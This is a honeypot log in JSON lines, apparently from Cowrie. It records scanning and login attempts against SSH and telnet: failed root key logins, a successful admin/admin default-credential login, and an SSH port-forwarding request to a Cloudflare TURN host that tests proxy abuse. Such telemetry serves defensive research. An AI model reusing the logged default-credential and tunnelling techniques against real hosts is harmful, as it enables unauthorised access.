{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55886,"dst_ip":"10.17.0.5","dst_port":23,"session":"513dd34f06c0","protocol":"telnet","message":"New connection: 45.58.127.90:55886 (10.17.0.5:23) [session: 513dd34f06c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:38.756817Z"}
{"eventid":"cowrie.session.closed","duration":30.602596521377563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:41.441455Z","src_ip":"69.162.99.242","session":"7950ed2f3312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93291521072388,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:43.502577Z","src_ip":"45.58.127.90","session":"fd707fe2c0f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46430,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ff40496de35","protocol":"telnet","message":"New connection: 147.182.143.59:46430 (159.203.135.109:23) [session: 4ff40496de35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:44.162378Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55890,"dst_ip":"10.17.0.5","dst_port":23,"session":"c663efd76592","protocol":"telnet","message":"New connection: 45.58.127.90:55890 (10.17.0.5:23) [session: c663efd76592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:44.853542Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55896,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a958071d475","protocol":"telnet","message":"New connection: 45.58.127.90:55896 (10.17.0.5:23) [session: 8a958071d475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:44.918884Z"}
{"eventid":"cowrie.session.closed","duration":31.329258918762207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:48.577682Z","src_ip":"69.162.99.242","session":"d6b919922847","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.99574422836304,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:51.216507Z","src_ip":"45.58.127.90","session":"b57fbd927413","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.32565999031067,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:54.018423Z","src_ip":"45.58.127.90","session":"b7897f74e078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.313557147979736,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:54.560364Z","src_ip":"45.58.127.90","session":"611e8fd5c4c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.952907800674438,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.115152Z","src_ip":"147.182.143.59","session":"4ff40496de35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.239.96.154","src_port":42286,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d826c2bb918","protocol":"ssh","message":"New connection: 23.239.96.154:42286 (10.17.0.5:22) [session: 4d826c2bb918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.580479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.586894Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.655041Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEHHM9Q7gRGlv4dYR0MQ097KyLeTz2olk8lrI+0TkmrO","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.937032Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:09:fe:1a:0b:2b:35:2f:00:f0:e6:0d:db:ca:df:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEHHM9Q7gRGlv4dYR0MQ097KyLeTz2olk8lrI+0TkmrO","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:55.940576Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/9mJt1ReWxwwz3n2lfvI13Q+ENU/Q5+4/jbcf+rHL41qj7e/PQxru8NH6GTbq8nDzuF8rLQpFv890jAaV0eO/3yi7t0nfRF+8MciB2UanQBDOfqT+LAJieittMUyMVlN45ISktqmSJw3nOLJZcP5kQouKX0z2ayPDJj+Fa7WHLrQjwtows0HcrnnUhlZviF4A/JK6npI5R9tsm3UpeW4IBz4vBNgWNOeQWWdte5Iq63g6/GegvykzrBt3m0LuUrVJFvJ3kDPvyC7MrTlgiVNJTcCrxjr+rrlPVmfEjS1DFvTqsu781krYlppMe/y40fkIN5g6Brp18h5BdKlSKFjrKpxeYqf1DWQ+brPQofFJ3FeIyI1KqZNzokuqLlQzC+1ZyyYu/NkA+WNhd8lCC9D62+S7lHZLlp2ec/ySFO/9JJNn+aHX/eEvdlSytCUompDi1j7ldg2W7KCuObhqQYW39dbUIAhVGH4dHimUfSayC31lEPjNyF7tUT+Fgz/+UHk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.003021Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:be:08:d4:08:dd:9a:1e:10:57:62:17:3d:a8:79:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/9mJt1ReWxwwz3n2lfvI13Q+ENU/Q5+4/jbcf+rHL41qj7e/PQxru8NH6GTbq8nDzuF8rLQpFv890jAaV0eO/3yi7t0nfRF+8MciB2UanQBDOfqT+LAJieittMUyMVlN45ISktqmSJw3nOLJZcP5kQouKX0z2ayPDJj+Fa7WHLrQjwtows0HcrnnUhlZviF4A/JK6npI5R9tsm3UpeW4IBz4vBNgWNOeQWWdte5Iq63g6/GegvykzrBt3m0LuUrVJFvJ3kDPvyC7MrTlgiVNJTcCrxjr+rrlPVmfEjS1DFvTqsu781krYlppMe/y40fkIN5g6Brp18h5BdKlSKFjrKpxeYqf1DWQ+brPQofFJ3FeIyI1KqZNzokuqLlQzC+1ZyyYu/NkA+WNhd8lCC9D62+S7lHZLlp2ec/ySFO/9JJNn+aHX/eEvdlSytCUompDi1j7ldg2W7KCuObhqQYW39dbUIAhVGH4dHimUfSayC31lEPjNyF7tUT+Fgz/+UHk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.007613Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQfzCvupZtaRbJdnis5++OzvECGOb1sBDf+GFvlJ3QBD+afWzxiaZuJupWIYVrJcsvAt1c0Lx2sVvcb7w6kWGiByq0hU5bWymNBSfuopfmbly1P5x5rAA5dW15uNkRaUF1IkxKxoe3MA/IvP81m//XjGjPEvGFefof57kftLHJnAgW2qg/T32QRC/O1KnAELFsIgIJE4cOSV2sJnIsQ1oNfBF2NQ7vBgiaeZLNWXqB52fJbezok7wVbrVg+CUzDha7HFDg8fRdEO9ZSPObFoimfdJTbU1XJjQQrivO3WQTFgS1KlWUXLtT4tCmVlfR++8umN9bTJTGh55LqiQdvduSkEMiR1PFvRLXO3/D/Hh7YVH6hErMeZBAvaxpN1ErdYF7m0jC1zcnvKCchq1uvvRten9G3C7imKfMdacps54g3OZ+KYMuf96lxxwwlJkAt79VEcjvFyA75/DwFJ0VB40ooGROKi7lycKIhaOgFMAHGaoWiXkpv18CYBrtCrNEuIk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.070962Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:18:08:35:2b:84:cc:3f:d4:99:7f:d1:57:c3:e7:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQfzCvupZtaRbJdnis5++OzvECGOb1sBDf+GFvlJ3QBD+afWzxiaZuJupWIYVrJcsvAt1c0Lx2sVvcb7w6kWGiByq0hU5bWymNBSfuopfmbly1P5x5rAA5dW15uNkRaUF1IkxKxoe3MA/IvP81m//XjGjPEvGFefof57kftLHJnAgW2qg/T32QRC/O1KnAELFsIgIJE4cOSV2sJnIsQ1oNfBF2NQ7vBgiaeZLNWXqB52fJbezok7wVbrVg+CUzDha7HFDg8fRdEO9ZSPObFoimfdJTbU1XJjQQrivO3WQTFgS1KlWUXLtT4tCmVlfR++8umN9bTJTGh55LqiQdvduSkEMiR1PFvRLXO3/D/Hh7YVH6hErMeZBAvaxpN1ErdYF7m0jC1zcnvKCchq1uvvRten9G3C7imKfMdacps54g3OZ+KYMuf96lxxwwlJkAt79VEcjvFyA75/DwFJ0VB40ooGROKi7lycKIhaOgFMAHGaoWiXkpv18CYBrtCrNEuIk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.075462Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//94Ta59vPdN5BtvevchMuViL1iF7R5bq+oCOG8L0AV1tV7buFYWnKlUe9ESQUo/snfVTctknLo6QUoiLAE3QekEihfIfzJ2Pn+xKjDZkqZO1EdilQXtYVlCcHsIFXvXgo3j5rXmS5d76wumQebimiTwZrDYSanu8Bsq23H05J6dFsA1w2XBC3qWY5M4G1aNR5BfRlj3D5ZWzaE5j2+7RN8sBueQMaRm9eepmXMQrjUvASRQTqSLRDsiJOGotNwR5WP6RY77SLji/mPXA8Nh6C5fYrm3kFabiJoj44hNx4WM0MvXUQRJVS88UKsK/iVcRNYRwgiUhPipeDdkWdMBCk5o2iZnSuZ2eL+cI+H67uPcUj50HgrKveYn7Zm8ganXth/NpPXEX0O7IoeNom7BEyphJ9FsJdunTBH6jmxsPfw4r0g1uPXccZg1NSdfZfB3QGVNNivRslAIhC5ZO+7ccuDcQWRRBvUaK+WsEwcavEYSHzRn/QS0oSeka2cWp2glJKuFfjV4EKrzTVs43qlIP0rKGde5WfGKvh+0dVUMFaQgSrnvzxuJWWeDJB8BIhKwJ7gBWErH4AWpTnyU9x5HiSp8IXdGxgjmbqV2LnwZ5auSyZFqt90RZyjLVa/RBg3K3Zs0SlsRfpEfzGU4PNAh6Jhs06MhyIvmDsR/H9/sj1w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.140770Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:14:8d:ed:d6:30:f1:3e:e0:47:3a:71:0d:df:24:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC//94Ta59vPdN5BtvevchMuViL1iF7R5bq+oCOG8L0AV1tV7buFYWnKlUe9ESQUo/snfVTctknLo6QUoiLAE3QekEihfIfzJ2Pn+xKjDZkqZO1EdilQXtYVlCcHsIFXvXgo3j5rXmS5d76wumQebimiTwZrDYSanu8Bsq23H05J6dFsA1w2XBC3qWY5M4G1aNR5BfRlj3D5ZWzaE5j2+7RN8sBueQMaRm9eepmXMQrjUvASRQTqSLRDsiJOGotNwR5WP6RY77SLji/mPXA8Nh6C5fYrm3kFabiJoj44hNx4WM0MvXUQRJVS88UKsK/iVcRNYRwgiUhPipeDdkWdMBCk5o2iZnSuZ2eL+cI+H67uPcUj50HgrKveYn7Zm8ganXth/NpPXEX0O7IoeNom7BEyphJ9FsJdunTBH6jmxsPfw4r0g1uPXccZg1NSdfZfB3QGVNNivRslAIhC5ZO+7ccuDcQWRRBvUaK+WsEwcavEYSHzRn/QS0oSeka2cWp2glJKuFfjV4EKrzTVs43qlIP0rKGde5WfGKvh+0dVUMFaQgSrnvzxuJWWeDJB8BIhKwJ7gBWErH4AWpTnyU9x5HiSp8IXdGxgjmbqV2LnwZ5auSyZFqt90RZyjLVa/RBg3K3Zs0SlsRfpEfzGU4PNAh6Jhs06MhyIvmDsR/H9/sj1w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.145420Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC24coJ+R9xzkQZ84oh54U8J6HgmaQNcorVSOSMQE+n6PXl5g7bxu7ePNwTF6lGxpZmnDVgb4V8k8XmZOoYOysYDrb0BNTvfSGWyzx3dqWCwkZ+AKAXkuj7P8aH21fJpj3TqQ2D2P1636Haf5VxVm4uXOE6eM8Z2gvj/3J68HJ9qasYXYCq5fFxPzMaUviNfLRZ7K2WsYynHBYmnp/SoJNDu7K69/zFlXDnFuqKbpgE/Sb3nvWGyuYFE+hRPm5U8O/iIibwq/LF5H1k7phsYLRoTH/5Ww8TbfZY28BD0GDHw1kickGqol/C3ULHDu/PYrA0uA1AOSCLVrpGnAP6HVUDMKO/aKPh+XgBRFC4/+Q/8utSt8Qr04H3XhgtXAIEfJMKit57qcjzvkDCyTB+RyjsKEqy35gaqLNHVWuQ5H/vfDsn1gRqS9u14td3OefI5iOInTFQwZECMvJDDjMtx25ENm87pCD4mkQzQWFeuOvba7ghH6NJAFfYiOhN5JzgQspiQNWhZtTvN+URxno5/5jeCPfQomg7smR7aJpePNP83ciYXg6Zyq4FQhNr4XsodLMOqGS773hb+1ZtDOJ7yzYkkBwaeWb2qE84+4cAP26n1JBXr1HIRrmt+cVW//PUP18bbe47AV6j6M4xyZF1yx/KERlP/465NttuysnlEJVzaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.208543Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:25:3f:d2:75:6b:6a:11:6a:ca:0d:18:a4:c6:cb:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC24coJ+R9xzkQZ84oh54U8J6HgmaQNcorVSOSMQE+n6PXl5g7bxu7ePNwTF6lGxpZmnDVgb4V8k8XmZOoYOysYDrb0BNTvfSGWyzx3dqWCwkZ+AKAXkuj7P8aH21fJpj3TqQ2D2P1636Haf5VxVm4uXOE6eM8Z2gvj/3J68HJ9qasYXYCq5fFxPzMaUviNfLRZ7K2WsYynHBYmnp/SoJNDu7K69/zFlXDnFuqKbpgE/Sb3nvWGyuYFE+hRPm5U8O/iIibwq/LF5H1k7phsYLRoTH/5Ww8TbfZY28BD0GDHw1kickGqol/C3ULHDu/PYrA0uA1AOSCLVrpGnAP6HVUDMKO/aKPh+XgBRFC4/+Q/8utSt8Qr04H3XhgtXAIEfJMKit57qcjzvkDCyTB+RyjsKEqy35gaqLNHVWuQ5H/vfDsn1gRqS9u14td3OefI5iOInTFQwZECMvJDDjMtx25ENm87pCD4mkQzQWFeuOvba7ghH6NJAFfYiOhN5JzgQspiQNWhZtTvN+URxno5/5jeCPfQomg7smR7aJpePNP83ciYXg6Zyq4FQhNr4XsodLMOqGS773hb+1ZtDOJ7yzYkkBwaeWb2qE84+4cAP26n1JBXr1HIRrmt+cVW//PUP18bbe47AV6j6M4xyZF1yx/KERlP/465NttuysnlEJVzaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.214448Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:43:56.277336Z","src_ip":"23.239.96.154","session":"4d826c2bb918","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50298,"dst_ip":"159.203.135.109","dst_port":23,"session":"c90bacbd1779","protocol":"telnet","message":"New connection: 69.162.99.242:50298 (159.203.135.109:23) [session: c90bacbd1779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:16.016897Z"}
{"eventid":"cowrie.session.closed","duration":38.35583710670471,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:17.112551Z","src_ip":"45.58.127.90","session":"513dd34f06c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.041508436203,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:18.670259Z","src_ip":"45.58.127.90","session":"b5851cb66276","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.51047492027283,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:22.363882Z","src_ip":"45.58.127.90","session":"c663efd76592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4208017925","protocol":"ssh","message":"New connection: 45.148.10.121:35110 (159.203.135.109:22) [session: ca4208017925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:22.907363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:22.912419Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:22.997396Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.253672Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.346608Z","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.432816Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.436556Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.539662Z","src_ip":"45.148.10.121","session":"ca4208017925","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":35120,"dst_ip":"159.203.135.109","dst_port":22,"session":"345e44810a97","protocol":"ssh","message":"New connection: 45.148.10.121:35120 (159.203.135.109:22) [session: 345e44810a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.623644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:44:23.629343Z","src_ip":"45.148.10.121","session":"345e44810a97","protocol":"ssh"}
